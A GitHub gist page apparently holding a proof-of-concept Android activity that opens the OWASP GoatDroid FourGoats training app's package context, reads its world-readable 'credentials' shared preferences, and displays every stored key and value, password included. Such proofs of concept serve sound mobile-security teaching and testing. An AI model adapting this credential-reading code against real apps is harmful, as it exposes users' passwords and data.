Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
onCreate
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Context fourgoatsAppContext = null;
try {
fourgoatsAppContext = createPackageContext("org.owasp.goatdroid.fourgoats", Context.CONTEXT_IGNORE_SECURITY);
} catch (NameNotFoundException e) {
}
SharedPreferences sPrefs = fourgoatsAppContext.getSharedPreferences("credentials", Context.MODE_WORLD_READABLE);
String passwd = sPrefs.getString("password", "");
Map<String, ?> prefs = (Map<String, String>) sPrefs.getAll();
String credentials = "OWASP FourGoats Credentials:\r\n";
for (Map.Entry<String, ?> entry : prefs.entrySet()) {
credentials = credentials + "Key : " + entry.getKey()
+ " Value : " + entry.getValue().toString() + "\r\n";
}
TextView text = new TextView(this);
text.setText(credentials);
setContentView(text);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment